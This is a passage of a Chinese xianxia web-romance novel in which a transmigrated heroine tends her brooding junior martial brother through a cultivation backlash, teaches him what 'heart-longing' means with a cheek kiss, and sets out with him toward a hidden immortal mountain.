胸口狰狞旧疤隐隐闪透出红芒,疼得沈安之身形猛颤得蜷了一瞬,额角脖颈青筋隐隐鼓动,指尖发白握紧木桶边沿。 反噬发作时间距离隔的越发近了。 上次是寒。 这次是热。 ——师姐。 ——姜喻。 姜喻从梦境脱离,缓慢地清醒,醉的头晕,听闻一道脚步去而复返。 从门口一步步接近,她早就练得听脚步声能辨出是沈安之。 左眼忽地针扎似的刺疼,她勉强费力地撑开一条眼缝。朦胧间,只见一道湿漉漉的身影俯在床沿。 墨色长发紧贴颈侧,冰凉的水珠顺着衣角滚落,一滴滴砸在木板上,又像敲在骤然缩紧的心尖。 姜喻下意识倒吸一口凉气,沈安之怎么搞的全身湿漉漉? 喉间逸出一声极小短促的惊喘,沈安之欺得更近,带着滚烫热意的指尖几乎贴上她的眼皮,却克制的触之即离,“师姐……” 指腹不同寻常的灼热得姜喻心惊,她长睫微颤睁开眼。 好烫。 姜喻半撑坐起身,沈安之抬眸眼波流转,轻喘一声,手轻按在她肩膀,近的彼此呼吸缠在一起。 “师弟?” 沈安之“嗯”的应答一声,长睫微颤,浑身无力栽软在温软的怀里,任由馨香混着酒味笼罩了他。 她伸手去扶住,反被他压的一沉倒回床上,她的唇畔擦过沈安之额角,呼吸微滞。 手下传来异样的滚烫,沈安之脸颊洇着不正常的红晕,闭上眼沉沉得昏了过去。 姜喻几乎是手脚并用拖着沈安之躺上床,他这完全不是醉倒的。 歪斜的领口隐隐有暗红的光划过,姜喻扯开沈安之的衣襟,狰狞的暗红旧疤之下,那点微光再次闪现——以往她只当是光影晃了眼的错觉,此刻却清晰得不容错辨。 扑面是引人沉醉的果香甜味。 姜喻只觉神思一荡,似被无形的手牵引着,竟不由自主地俯身靠近。温热的呼吸几乎要接近上沈安之胸口薄肌,她猛地一个激灵,如梦初醒般退后一步。 她下意识捂住鼻子,心有余悸地又退开些许距离,胸腔里的心擂鼓般怦怦直跳。这味道邪门得很,方才不过多嗅了一息,脑袋便晕乎乎地,似要逐渐勾得人丧失理智。 姜喻看向那道狰狞旧疤鼻头一酸,明明之前都包扎好了,为什么总是频频裂开。 难不成是她的药不够好? 或者这伤口,压根不是简单可以治疗好的。 “嗯……”滚烫疼得沈安之昏昏沉沉,可额间又凉意,他强撑睁开一条眼缝看见姜喻焦急地用手背轻靠在他额头,带着一股舒心的凉意,让他忍不住再靠近一点。 手背一离开,沈安之微微侧转着头,欲追去,眼眸微暗,顿了顿动作。 又听清姜喻小声念叨:“师弟,会没事的……” 姜喻,到底是学不会关心则乱一词…… 急匆匆地打了一盆井水,她拧了拧湿毛巾敷在他头顶,又自储物袋取出几颗寒冰石放在他左右,拿扇子给他扇风透气。 见他微睁开眼,视线交汇在半空,姜喻惊喜地眼眸一亮,加快手上扇风的动作,“感觉怎么样师弟,你有没有凉快一点?” 见沈安之直勾勾看向自己,又不回话,姜喻紧张地压低声音问:“师弟,你别不是热傻了吧……” 换作平日,沈安之早轻嗤哼笑一声,此刻却依旧保持沉默地紧盯她,晦暗地眸似带着诱人沉沦的渊。 完蛋了,真给沈安之热傻了。 姜喻不敢想象沈安之傻了后的样子,不过都修真世界,还怕治不好不成? “我这去喊人。”姜喻起身欲走。 沈安之抬手轻扣住她手腕制止她的动作,微凉的指腹顺着腕骨寸寸摩挲,不容抗拒地将那截纤细压上自己滚烫的额间。 “别动。” 睫羽下眸光晦暗如深潭,喉间溢出声低哑的笑:“师姐慌什么……”掌心下脉搏加快的跳动取悦了他,“这般方寸大乱……这点寒意可解不了我的反噬。” “反噬?”姜喻瞳孔一颤,惊讶得愣神一瞬,早已先把沈安之的暧昧举动放后。 头一次听沈安之提及此事,又是原著未曾提到的内容。沈安之究竟有多少不为人知的过去,他把那些埋藏的太深…… 沈安之心防太重,或许除了顾疏雨,对谁都不曾多用心几分。 卸下心防,何其难得,她不能辜负沈安之这份信任…… 姜喻眸光清亮,盯紧沈安之地紧蹙的眉,语气急切道:“师弟,我该怎么帮你降温?” 他以为姜喻定要追问到底,那双总是亮晶晶、盛着好奇的眸子会不依不饶地望进他眼底,却未想她竟一反常态地安静下来。 这急切是关心,便像一根羽毛在沈安之心尖最深处搔了一下。 他眸色更深,呼吸都沉了一分。力道 不重,牵引着她的手背,从额角缓缓覆上微阖的眼睑:“就这样,别动。” 她下意识呼吸放缓,怕惊扰什么,身子前倾凑近一点,几乎要从床沿凑到他身上前堪堪停顿。把自己坐的舒服一点后,任由他的牵着。 沈安之意识沉入黝黑的心海,意识消散前,他蜷了蜷手指,小心翼翼地摩挲她的手腕。 每一次反噬,他总这样避开所有人,连同濒死的挣扎,通通锁进无人可见的角落。 时至今日,姜喻不仅见到了,还愿意接纳他。他如同沙海中干渴旅人,恰恰遇到唯一的一汪泉水,叫他如何挣扎地放弃。 徘徊,不安,乃至恐惧……这些失控得情绪,他竟一时说不清为何而来。 姜喻单手托腮昏昏欲睡,手背上那阵恼人的灼烫终于退去,她长舒一口气,悬着的心刚要落回原处,轻摇沈安之的手腕让他放开。 温热的手掌猛地被反客为主,将她的双手都牢牢抓住,仿佛要将她烙进骨血里。 沈安之睁开眼,深邃眼底翻涌出她从未见过的一丝迷茫。他半坐起身,高大的身影带着沉沉的压迫感欺近。 呼吸拂过她的耳廓,将她的手不容拒绝得按在心口,声音都带着一丝不易察觉的颤抖,低哑地声音便直至撞进姜喻心口: “师姐,好奇怪。一种奇怪的感觉,像是从骨血里一点点渗出来,到底是什么,你告诉我?我该怎么做?” 40-50 第41章 沈安之凝神看向她亮晶晶的墨眸,“师姐,你知道吗?” 一连串诘问骤然袭来,姜喻被问得措手不及。 沈安之状态怎么了,奇奇怪怪的。 手腕下传来沈安之心口搏动,一下下灼着姜喻的掌心。她指尖一蜷,猛地想抽回手堪堪忍住,“师弟这样问,我如何得知……”指尖在震动上多停留,却泄露了心底说不清道不明的慌乱。 沈安之鲜少问她无关紧要之事,更不屑问些无趣之事。 除非……他在意了。 在意她的回答。 沈安之似是不喜姜喻敷衍的回答,心底的疑惑、不解,压抑许久的情绪无处宣泄。 “师姐在躲我?”他更欺身近些,眸底墨色翻涌,几乎将眼前人笼罩的彻底,让她不得不看向他,语气带来一丝不易察觉的茫然。 “我没有躲啊。” 沈安之眸底汹涌之下暗藏的执拗,姜喻这才清晰看懂: 纵使她不懂,沈安之已打定主意,非要她感知,非要她作答,才肯罢休。 双手被沈安之牵扯,姜喻又动弹不得,他的视线便如藤蔓一点点缠上自己。 “师姐说说看,我这是怎么了。” 姜喻下意识想缩回手,迎上他目光:“我说了,万一说得不对了。” “自凭心而论,与师姐有何干系……”沈安之说的漫不经心,眼底却满是认真。像是困兽终于寻到了牢笼唯一的裂缝,他寻着她,给这具日渐失控、因她而时刻鼓噪着陌生悸动与刺痛的自己一个答案。 姜喻心头微动,一丝连自己也未曾深究的念头悄然出现。 她抬眸偷觑沈安之神色,斟酌用词,试探时小声道:“你会在意栗子糖的滋味,会记得它的意义……” 沈安之微挑眉梢,目光出神地紧盯她,“嗯。” 姜喻的语气顿住,轻咬下唇,脊背绷紧下意识往后靠了靠,不禁连呼吸都不经意放轻,道:“会不会我在师弟心上,大抵占着不同寻常的位置……” 话音落定,姜喻又觉得自己说的实在不太可信,荒谬的很,手腕一颤便要去挣脱。 细微的力道在沈安之面前如蚍蜉撼树,指尖不容置疑地回扣住,死死按回起伏的胸膛上,“还说不想躲。” 掌心下传来的搏动又快又沉,带着种近乎烫人的灼热透过薄薄的衣料直烙进姜喻皮肤里。 “不是,我是……小心师弟胸口旧疤。”姜喻忍不住开口提醒,又怕碰到惹得他疼痛,方才不再动弹。 沈安之目光沉沉锁住她,低哑的嗓音裹着炽热的情绪,“原是如此,那为何……” 他喉结轻滚,眼底深浓的墨色翻涌,尾音里压抑着什么似乎要喷涌而出,“为何我这般在意?” 在意一个人生死,在意一个人细枝末节。 姜喻看他真陷入茫然的模样,心中猜想的念头越发强烈,她不知该不该开口。 她眼波一转,纤长的睫毛轻轻扇动,眸底映着微光,唇边漾开笑意,“因为……师弟不再讨厌我了。” “不再讨厌?”沈安之低低重复,每一个字都像在唇齿间筛选、忖度。 他以往确实厌恶地恨不得杀了“她”…… 姜喻未抬眸看去,一道颀长身影倏然压下,温热的、带着独特皂角香的呼吸瞬间侵占她所有的气息,将她牢牢钉在原地。 沈安之声音低沉得近乎透着蛊惑,诱导这只绯红小山雀一步步走向自己的“陷阱。 “师姐,继续?” 空气仿佛凝滞了一瞬。 姜喻望着近在咫尺、仿佛能吞噬一切的墨眸,她听见自己异常清晰的声音说出猜想,轻轻吐出几个字: “师弟,其实这叫‘心悦’。” 这一瞬间,像一根细针猝然刺破了什么。 沈安之钳住她腕骨的手指骤然收紧,指节泛白,那双总是沉静幽深的黑瞳骤然收缩,掠过一丝真切的茫然。 在他的世界不曾有“心悦”二字,更没人教过他何为“心悦”一个人。 沈安之垂眸瞧着她额角,喉结无声滚动了一下。方才那瞬的空白,让一种更深的、近乎执拗的渴求填满。 “这就是心悦嘛……”沈安之极好掩饰一瞬的无措与慌张。 沈安之嗓音压得极低,带着一种从未有过的、近乎笨拙的探寻,“师姐,可还没告诉师弟,我到底该怎么做了?” 姜喻不容忽视沈安之拉着她时加大的力道,跟随力道稍前倾身形。醉意过后的薄红脸颊,不禁洇染上几分浅淡绯色,“我……” 刚刚,不过是姜喻头脑一热的猜想说辞,要她说出个“一二三”、“怎么做”,她又该怎么说…… 见姜喻迟迟不答,沈安之极小地嘲弄叹息一声,他放了手,慢条斯理地下床榻理了理胸前凌乱的衣襟。 有意倾身靠近,温热的吐息拂过那一截洁白紧绷的脖颈,压抑声音哼笑一声:“师姐不愿说‘心悦’为何滋味,我可不会就此善罢甘休。” 沈安之话音落下,侧眸瞥了她一眼,未等姜喻从他眼神里辨出意味,他已转身欲离。 无数个念头电光火石般掠过,姜喻提裙裾追了上去,纤指猛地攥住沈安之手臂。 “沈安之!”她轻声唤道。 沈安之身形微滞的一刹,姜喻心一横,垂着的手猛地攥紧了他胸前玄色衣襟。 踮起脚尖,带着一种“横竖是死,不如一搏”的莽撞,将自己温软的唇瓣,轻轻印在沈安之温热的侧颊上。 刹那间,他身上清冽干净的皂角香与她唇齿间残留的、甜中带涩的柚子酒气,丝丝缕缕地缠绕、交融。将两人密密实实地裹挟进一片氤氲的、令人心慌意乱的气息里。 沈安之身体僵在原地,仿佛被一道无声的惊雷劈中。垂在身侧的手指几不可察地蜷缩了一下,漆黑的瞳孔骤然收缩,深处翻涌起一片晦暗难辨的漩涡。 温软的触感烙印在他颊边。 软……香…… 原来“心悦”该这样做。 他心底泛着甜,比他吃过的任何一颗栗子糖还要甜。 如在他心湖投入一粒石子,瞬间从一丝波澜到惊涛骇浪,在沉寂如渊的心海底轰然作响。 姜喻微微阖上眼,莹白如玉的耳尖悄然漫开一层绯色,胸腔里那颗心擂鼓般急跳,一声快过一声。 她暗自感叹:完啦,冲动了。万一沈安之厌恶,大发雷霆怎么办…… 蜻蜓点水般的肌肤相亲,她并未敢停留,仅维持动作不足三秒,唇瓣匆匆撤离的他面颊的瞬间,姜喻才后知后觉一股热气直冲头顶。 她垂下眼帘,细若蚊呐的声音带着不易察觉地犹豫:“师弟,这便是心悦的滋味了。心跳如擂鼓,浑身都似在灼烧……至于具体该如何做… …” 她顿了顿,声音更低了几分,“自然是,因人而异……” 姜喻指下那截手臂倏然僵住,沈安之反手来抓牢她欲退的腕骨,让她半步之间靠近自己身前。 指腹无意识摩挲着腕骨,他另一只手则缓缓抬起,轻轻抚上自己方才被她暖息拂过的侧脸。那里缠上姜喻气息的温度早已悄然散去,只余下一点空落的馨香与余感。 他在颊边微蜷着指,看向她的亮眸停顿了一下,微歪头玩味一笑,“是吗?” 或许,“它”不曾消散,一直都存在姜喻唇上。 带着他从无到有,几乎贪恋停留的温度。 沈安之垂眸,裹着侵占欲的视线沉沉落下,锁定她那双映着微光的漆黑瞳仁,寸寸下移,掠过她小巧挺翘的鼻尖,最终停在柔软之上。 姜喻不施脂粉,唇色透出天然的、诱人的淡粉。 “是啊,这种事,终究是是因人而异,譬如亲吻、拥抱什么的……”姜喻唇瓣翕动,吐出的话语却像是烫着了舌尖,越说越不成调。 她耳尖漫上红霞,指尖无意识地绞紧了袖口的鹤纹,只觉得脑袋里嗡鸣一片。 “就是这样……”姜喻这话大抵是在劝自己,脑袋宕机,也不知道自己在说什么。 方才这番话,简直是她不知是从哪个角落里冒出来的胡话,连自己都听不下去。 反正她脑袋一热,刚刚亲也亲了。视线上瞟,沈安之不像是生气样子…… 沈安之触到她的视线,幽深的眼底无声翻涌,眼底的疯魔、兴奋一一压在的长睫下,逐渐失控情绪下身形微颤,呼吸短促轻.喘,压抑着微微放缓。 沈安之微微倾身,听见她小声凝滞的呼吸。眸底外溢了一丝难以言喻的愉悦,紧盯着姜喻的眸:“师姐的温柔,只给我一人?” 见沈安之不似生气,反而是在……兴奋? 姜喻抬眸,前倾身形贴上去,笑着哄他:“当然,只给你。”语气刻意停顿,尾音上扬,“只给师弟一个人。” 沈安之不懂心悦的滋味,但若是“心悦”是接触她,靠近她,反而不赖,称得上愉悦。 沈安之敛眸,眼睫低垂,唇边噙着一点似有若无的笑意,指尖眷恋地在姜喻腕骨轻摩挲了一瞬,才克制地缓缓松开。低声地哼笑:“好啊…师姐既许了诺,师弟便记于心上。” 他声音轻得像叹息,“师姐可得……一直教下去,教到师弟尝透‘心悦’的滋味才好。” 姜喻下意识小鸡啄米似得点头,听清沈安之说的什么怔愣抬眸,短促地“啊”了一声。 “怎么,师姐这是不愿意?” 沈安之站直身形,抱臂微歪头看她,指尖召出铜钱把玩。 冰凉硬度的触感哪有姜喻腕骨和掌心肌肤来的有趣,有些索然无味地捏拳握在掌心。 第42章 姜喻唇瓣微启,喉间却似被什么哽住,发不出声,一双墨眸逐渐一点点亮起微光。 成了?这算是她的任务跨越式进步,迎来转机了。 姜喻心底雀跃完,莫名心虚捏了捏袖口,指尖挠了挠脸颊,眸光流转看向他,摇头否认:“没有不愿啊。” “最好如此。”沈安之满意地点头,视线缠上她时弯唇浅笑,“师姐,现在就开始吧。” “现在就开始?”姜喻微微睁大眼。 “自然。”沈安之说的一贯懒散惯了得轻松,“师姐允的。” “啊对对对,是我允的。”姜喻莫名有种挖坑微妙感觉,看了眼昏暗的厢房,话锋一转,“可是今夜快子时了……” 沈安之指尖微不可察地轻抬,厢房角落熄灭的烛台“噗”地一声燃起暖光,将他面容映照得半明半暗。 他强撑着身体微微前倾,阴影瞬间将姜喻笼罩,眸底翻涌着浓稠如墨的执拗,声音沙哑:“师姐,不晚。” 姜喻扯了扯唇角,抬眸干笑一声。 谁能想到片刻前,沈安之还因反噬滚烫得冷汗浸透鬓角,几乎昏死过去,此刻竟又这般不依不饶地缠了上来。 姜喻心头一跳,看着他那双深不见底、仿佛要将人吸进去的眼眸,暗自吐出一口浊气。 沈安之还真是片刻消停不得,上瘾不成! 姜喻心一横,伸手勾住他微敞的衣襟,踮起脚尖,一个带着安抚意味却又略显急促的亲吻,囫囵落在他另一侧脸颊上。 不等沈安之其他反应,姜喻迅速退开一步站定,双手背在身后,指尖无意识地用力绞着袖口衣料。 月光从窗棂斜斜洒入,恰好落在姜喻故作镇定的脸上,她语气格外地“语重心长”道:“咳,此事不宜过多,贪多嚼不烂,需得循、循、渐、进!” 沈安之视线瞧上她强作镇定的模样,忽的一笑,喉结微动,刻意将嗓音压低,顺着姜喻的话头轻声道:“师姐既这般说……那我便走了。” 亲眼看着沈安之的身影消失在门外,门扉合拢的轻响落下,姜喻紧绷的脊背才倏然松懈,长长吁出一口气。 下意识抬手将冰凉的手背反复贴上滚烫的脸颊,试图压下心底火烧火燎的燥意。 一定是喝了柚子酒,她才敢这么胆大。 姜喻给她的莽撞行径,找了个合适的理由。 沈安之重新回到住处,躺上床,反手枕在脑后出神地盯紧坠下的白幔,寻不得到半分睡意。 辗转反侧间,他一闭上眼浮现的来来回回都是那道绯红的身影,她的一举一动清晰无比地在脑中轮番上演。 沈安之闭上眼将清心诀默念三遍,眼尾洇着薄红,勉强挣脱杂念,坠入短暂而虚浮的梦境。 梦中,一截欺霜赛雪的皓腕从他身后绕来,带着温热的呼吸,松松勾缠住他的脖颈,温热身躯贴靠来。 她青丝如瀑,倾泻而下,一颗毛茸茸的脑袋带着全然的依赖,深深埋进他颈窝,慵懒带笑的嗓音似在搔刮耳廓:“安之……” 沈安之眼尾微挑,伸手擒那条手腕,指尖还未拢紧,少女已灵巧旋身躲开。青丝扫过他滚动的喉结,带起一阵细细密密的痒,银铃般清脆的笑声漾开来。 她身着一身绸缎制成的绯红小衣,笑着歪头,妍丽的眸子微微促狭:“师弟,可欢喜?” 沈安之指尖猛地蜷缩,狠狠掐进掌心,直至骨节泛白攥成拳。 本该移开的眸光此刻微暗隐忍落定,沈安之立马背过身,步伐僵硬向屋外大步走去。 少女却不依不饶地笑着跟上来,偏要在他面前站定。他目光不受控地飘落在她身上,颈间脆弱白皙的肌肤,小衣之下露出一对若隐若现、莹润如玉的双脚。 梦境深处,熟悉的身影步步靠近自己,他心头一滞,下意识想后退,双脚似生了根。 他身形绷紧,僵直地钉在原地,喉结无声地滚动了一下,发不出一点声音…… 只见她背手倾身,唇角微弯,仰起脸轻歪着头,笑意盈盈道:“师弟,怎么不说话呀?” 沈安之不知该说什么,顿感从脚底一股脑地漫到头顶的慌乱。 偏偏少女恰逢此时贴在他胸口,笑着指尖点了点他的侧脸颊。随之指尖慢慢似有若无擦过他唇瓣,眸底带着几分难掩的羞涩和俏皮,似乎在提醒他什么。 …… * 翌日,天光初透,熹微晨色。 阳光刚爬上窗棂,外间隐隐传来喧闹人声。 姜喻被嘈杂声扰了清梦,醒来她也不记得梦见了什么。 本就折腾到后半夜才睡着,精神头不大足。慢吞吞从被窝里爬起来,带着睡意胡乱收拾起包袱。 推开木门准备去寻沈安之,刚路过一个拐角,回廊下一句随风飘来的闲言碎语瞬间钉住她的脚步。 “……你说沈师弟?哎哟,可不得了。”一个弟子压低嗓音,却压不住话里 的惊诧,其他好奇心作祟的弟子都围了过去。 有人先啧了一声,氛围一下子透着紧张,他这下才缓缓道来:“今儿天没亮透,就见他阴沉着一张脸,将褥子带枕头的,全拖到院中,一把灵火……付之一炬了。火光照得他脸,啧,瘆人得很。” 姜喻浑身一僵,残留的睡意瞬间被惊得粉碎。来不及细想,提起裙裾朝着沈安之的院落疾奔。 未及近前,青烟残缕已撞入她的眼帘。 木门虚掩,姜喻屏住呼吸,从狭窄的门隙间窥去只见沈安之静立庭中,若有所思地地看着最后一点猩红余烬湮灭于冷风。 听到脚步声由远及近,沈安之的目光几乎在抬起的瞬间便撞上了门缝后姜喻的视线,一丝不易察觉的慌乱掠过眼底,他竟率先别开脸。 姜喻心头微跳,不动声色地深吸一口气,压下心头的异样感,努力维持平日模样推门而入,语调轻快如常道:“师弟,这里怎么了……” 沈安之抱臂侧眸,沉沉地望过来,眸光压下晦暗的微光,“无事。” 姜喻唇瓣微启,还想追问,沈安之的目光已掠过她收拾齐整,开口截住了她未出口的话:“可准备好了,师姐?” “嗯,东西都收好了。”姜喻应着,目光却不由自主地看在脚边尚未散尽的灰烬上。 这些东西……他为何非烧不可? 敏锐捕捉到姜喻好心作祟的视线,沈安之强压下喉头翻滚的异样,面上却只作未觉:“既已备妥,便准备动身吧。” “好,晓得了。”姜喻微微一点头,转身欲走,眼角余光扫见庭院竹架上那件晾着的玄色衣袍,“师弟,衣裳晒干了记得收。” 沈安之随口低低“嗯”了一声,目光不由自主地随着她的目光看去,指尖寸寸收拢成拳。 姜喻瞧得分明,心下微诧。 沈安之薄唇紧抿,未再多言半字,转身时步履竟带上了几分仓促,木门被他反手“咔哒”一声掩紧。 姜喻慢悠悠往回踱步,“咦”了一声顿足,心底浮现一个诧异的念头:沈安之方才那个模样,倒像是怕她再多问一句。 也对,沈安之行事向来如云遮雾绕,全无章法可循。 姜喻自知懒怠深究的性子,费那心神琢磨他的心思,只怕猜来猜去,横竖都是猜不透。 她索性不再琢磨,脚步轻快地折回屋里,将几样用得顺手的法器清点。收拾妥当,便匆匆去寻顾疏雨几人辞行。 会客厅外,沈安之早已候着。 他垂眸,指尖漫不经心地把玩着铜钱,唇角噙着一丝若有似无的弧度。 厅内,顾疏雨清冷的嗓音低低传来,指尖正点着铺开的舆图一角,凝神与几位弟子商议天乩城百姓的召回时机。 方微云立在顾疏雨身侧,面上依旧是那副温润如玉成熟模样,却在某个弟子提出异议时,突然拍案,眼神晶亮地反驳:“此言差矣!当断则断,此时不迎,更待何时?” 但在面对顾疏雨正确的想法,他急切拥护,与端方外表形成了鲜明反差。 顾疏雨与方微云几人小声商讨,她执杯轻抿:“便按如此来,尽快协调百姓重建天乩城。” 姜喻匆匆步伐转为放轻脚步,绯红裙裾如海棠花散开,更衬得纤腰不盈一握。路上来得急了,颊边未消散婴儿肥晕开薄红,像染了胭脂,唇瓣微张,细细地喘着气。 这副模样落进沈安之幽深的眼底,他缓慢地移开视线,梦中画面又一次浮现在他脑海,让人生出莫名地燥热。 顾疏雨清冷如雪的眸,在触及匆匆赶来的姜喻时,悄然融化开一丝暖意。 知姜喻的师父柳长老不在,顾疏雨凝眸叮嘱,声音虽淡却含着关切:“师妹,你来了。在外行走,记得多传讯回宗门,若遇难处,随时寻师姐。” 方微云手中玉骨折扇“唰”地合拢,轻轻敲落在掌心,目光落在顾疏雨难得柔和的侧脸上,忍不住小声嘀咕:“唉,疏雨对师弟师妹这般上心,倒真叫人眼热了……” 分明从他语气里能听到酸溜溜的“潜台词”:怎地她不这般惦记他? 姜喻眉眼弯弯,脚步轻快地凑近顾疏雨,亲昵地挨着她的手臂,声音清脆应道:“知道啦,师姐,我一定记得。” 不远处,沈安之的目光骤然凝固。 他目光紧紧盯在姜喻紧贴着顾疏雨衣袖的地方,一股难以言喻的焦灼与燥郁瞬间攫住了他的呼吸。 姜喻难不成靠谁都这般近? 他垂在身侧的手悄然握紧,眼底深处,阴翳如墨色潮汐翻涌着。 第43章 姜喻脊背上蓦地窜起一股细微的热意,仿佛被一道无形的视线灼烫着身侧。 她心头无端一跳,像被无形的指尖轻轻拨动,侧首望去,沈安之倚柱长睫低垂,手指松松环抱在臂间,似乎正凝神盯着窗外竹影。 方才如有实质、滚烫的窥探,此刻消弭无踪,倒成了一场空落落的错觉。 姜喻几步走到沈安之面前,他抬眸缓慢上移,视线里一步步走近那道绯红身影,目光定格在少女笑靥上,眼底深处似有幽光流转。 “走了,师弟。”姜喻笑着抬手在他眼前晃了晃,“我们赶在日头落山前动身,我可不想露宿街头。” 沈安之眼神骤然被那只在眼前晃过的白皙手背吸引。想起梦中便是这样一只柔若无骨的小手,轻勾着他脖子,笑意盈盈地贴上来。 他僵直身形一瞬,视线有意地避开姜喻,抬步往外走时瞥看她带着一丝别扭,“走吧。” * 他们此行所去是隐匿百年的无尘仙山秘境。 百年前飞升的天梯崩毁,自此仙路断绝,无尘仙山曾是凶名赫赫,连同其踪迹一同消失。 无尘仙山,顾名思义意为涤尽凡尘,凡夫俗子亦不可窥见。山势巍巍,高不可攀。百年寻找之人不计其数,但踪迹渺茫,更令凡人望而却步。 传闻仙山秘境中生长有千千万万种奇珍异草、奇珍异兽,更有天梯残骸之力,可参天机。 巍峨群山绵延不尽,一处祥和的山脚下,一座木墙灰瓦的小镇人声鼎沸,几道马蹄踏过青石板溅起水花。 倏忽间,细密雨丝转作倾盆大雨,豆大雨点砸落在屋檐。一绯红衣裙翩跹,步伐极快地钻入屋檐下躲雨,随手理了理衣裙和发丝的水珠。 姜喻立于屋檐下,潮湿阴冷得寒气夹着暴雨袭来,她下意识缩了缩脖子,将怀里的小包袱护得更紧了些。 刚行至小镇落住,她和沈安之便分开打听无尘仙山,包袱里正是她搜集有关仙山记载的书卷。 至于为何不放入储物袋,说来也短…… 寻见一栗子糖做成精巧小鸟样,姜喻正准备取银钱买下,却摸得腰间空落落。行了不足半条街,她的储物袋就被小贼顺走了。 可怜姜喻看天无语,差点成了落汤鸡。还好为了不时之需,她早早在衣袖、鞋袜塞了一叠符纸,比起东西丢失,小命不丢就是好事一件。 姜喻正躲雨,一阵细微声音从身侧传出。 样貌不足七八岁,掩藏不了小巧玲珑的灰鼠耳朵的小妖,哆哆嗦嗦从暗巷角落跌撞着跑出。 脸颊血痕蜿蜒,一张灰头土脸裹在破旧补丁灰色披风下,脸颊青紫交加,看见姜喻惊呼一声:“怎么有人?” 姜喻抱紧怀中的包袱:“还不许有人不成?” 见少女一副不怕事的模样,小妖把耳朵藏进披风,裹紧披风遮住,仰起那张毫无威慑的脸说着狠话:“你不想死就不要说话,赶紧跑。” “你这小妖口气不小。”姜喻压下声音,余光瞟看了眼他身后。 “别怪我没提醒你,有人在追杀妖了。” 姜喻心说自己又不是妖,怕什么。 小鼠妖实在没闲心随她多说,又不想多管闲事,回眸匆匆瞧看了一眼身后,鼻尖朝天嗅了嗅,似乎确定紧随其后的东西在哪,脸色刷的一白。他慌忙地逃窜跑进雨幕,钻入对面小巷。 雨打屋檐声里,一声突兀的“咔擦”碎裂响动格外刺耳。 姜喻正琢磨着什么东西让小妖惊得方寸大乱,心头倏地一跳——这鬼天气,莫不是真有什么邪祟追逐它而出? 雨帘如幕,将无数细微声响吞噬殆尽。 姜喻心底一慌,真怕有什么鬼东西出现。 却见一道玄色身影伴着纷扬雨珠,自檐顶翩然翻落,足尖轻点地面,黑色伞面如墨莲般微微倾下,堪堪停在她发顶三寸。 沈安之侧对着她,目光投向灰蒙蒙的雨幕深处,湿漉漉的发尾坠下,眼尾微挑,唇角勾起一丝似笑非笑的弧度: “师姐,还舍不得回去?” 姜喻顿时苦着脸,一手抱着包袱,一手指着腰间空空如也,避雨符都画不出:“别提了,储物袋丢了,现在可是身无分文,法器全无。你看这大雨如注,寸步难行。” 沈安之轻轻将雨伞逐渐倾斜向她,“一个小贼而已。”他微顿语气,轻慢一笑,“此刻不走,师姐打算等雨停?” 谁知道雨何时停了…… 姜喻仰着头,笑盈盈地凑近一些,眼波潋滟似是秋雨绵绵中的水光,亮的惊人,“看师弟伞面够大,捎我一起吧。” 她靠近分明是极快,在他眼中却是一张张放慢的剪影在眼底闪过,缠着他心脏的一下悸动声响。 沈安之深吸一口气,唇角压抑不住地轻扬,指尖愉快地摩挲着伞柄,“不行。” “怎么,师弟真打算放我在这屋檐下躲到雨停?”姜喻不解地眨了眨眼。 沈安之身形微动,不着痕迹地侧转过来,正对着她。 水珠滚落伞面,悄然落在雨幕。 沈安之眼底似有暗涌,唇角弯起一个极浅的弧度,声音有些喑哑道:“自然不是……” 姜喻抬眸,撞进他深不见底的目光里。 “那是什么?”姜喻忙不迭追问。 沈安之向前微倾,距离悄然拉近,皂角香的气味和她身上温软馨香缠在鼻翼。 他喉结极轻微地滚动了一下,刻意拥低柔的语调道:“想提醒师姐像上次那样,又让师弟尝到了‘心悦’的滋味。” 他眼底掠过一丝幽暗的光,见她一愣,唇角的笑意深了些,竟有几分蛊惑又危险的气息。“师姐这次……可愿再多‘指点’师弟几回?回去后,万望师姐……莫要吝啬。” 姜喻心底一慌,摸了摸发烫的耳垂,干笑了两声,“沈安之难不成真喜欢上这种事情”的念头颇为惊人,她恍惚认知到此事时脱口而出:“为何不自己来?” 她抬眸仰头一笑,极快掩饰眼底的慌乱,“那个,我是瞎说的……”嘴跑那么快,胡说什么。 雨点敲打伞面,滴答作响。姜喻正懊恼地扯了扯唇角,倏然瞥见头顶的伞正悄然逐渐向她倾斜,视线被牵引的一瞬,一道阴影便已笼罩下来。 沈安之呼吸微滞,带着从未有过的小心翼翼,唇轻轻落在她微凉的脸颊,心底的满足感似在逐渐加深。 他甚至能清晰捕捉到她蓦然睁大的眼眸,漆黑瞳孔里映着天光和雨丝,亮得惊人,带着懵懂的惊愕。 一声低笑自他喉间逸出。 唇瓣一触即离的刹那,沈安之自己都未察觉抬起了手。他温热指尖触及她微凉侧脸的瞬间,动作鬼使神差放得极轻、极缓。 深秋临冬下的雨幕如帘,本就寒气侵人,她躲在檐下,脸颊沾着湿漉漉的凉意。 他温热的指腹就这样若有似无地摩挲过脸颊肌肤,像触碰一片无意中被冷雨打湿的花瓣。 姜喻屏住呼吸,抬眸撞进沈安之含笑的眼底,他方才眸底的晦暗涤荡一空,只余下少年“偷香窃玉”后的意气风发。 她看得一怔。 雨风卷过檐下,撩起少年额边几缕碎发,更吹拂起那抹缠绕在他墨发间的绯红发带。玄色衣摆在湿润的空气中翻飞,衬得他肤色愈发冷白。 然而撞入她眼底的,唯剩他唇角噙着的笑意,以及那双深不见底、此刻却含笑的眸子。 姜喻指尖发白,紧紧抱住怀中包袱,不禁出神地想,这朵黑莲花长的这般好看,生得惑人也就罢了,束发的是她随手赠他的那根发带。 这抹绯红原是他一身沉郁玄衣中最亮眼的点缀,此刻却远不及他唇边眼底的笑意来得灼人。 姜喻匆匆地垂下头,脸颊不禁后知后觉得燃起来,心尖轻颤,带着一种陡然的悸动。 被她表情不经意地取悦到,沈安之站直身形但伞依旧倾斜向她,收敛笑意看了眼雨幕,“师姐准备傻站到什么时候,该走了……” “晓得了。”姜喻想起什么,朝旁边幽暗的小巷一指,“我刚可瞧见一只灰毛老鼠小妖,被什么东西撵得惊慌失措,嗖地就钻那巷子里去了,跑得那叫一个快……” 沈安之眸光极淡地掠过幽暗巷口,喉间溢出一声几不可闻的轻嗤,“一只不成气候的妖物罢了,”他语调惯常得轻慢,目光转回姜喻身上时,却又带上一丝不易觉察情绪,“不值得师姐挂在心上。” 姜喻随口应了声,将怀里的包袱又搂紧几分,与他并肩往客栈方向走。 雨风微凉,拂动她鬓边碎发,“师弟怎么找到我的?”侧过头,眼里带着探究,“不会又用了我头发丝吧?” 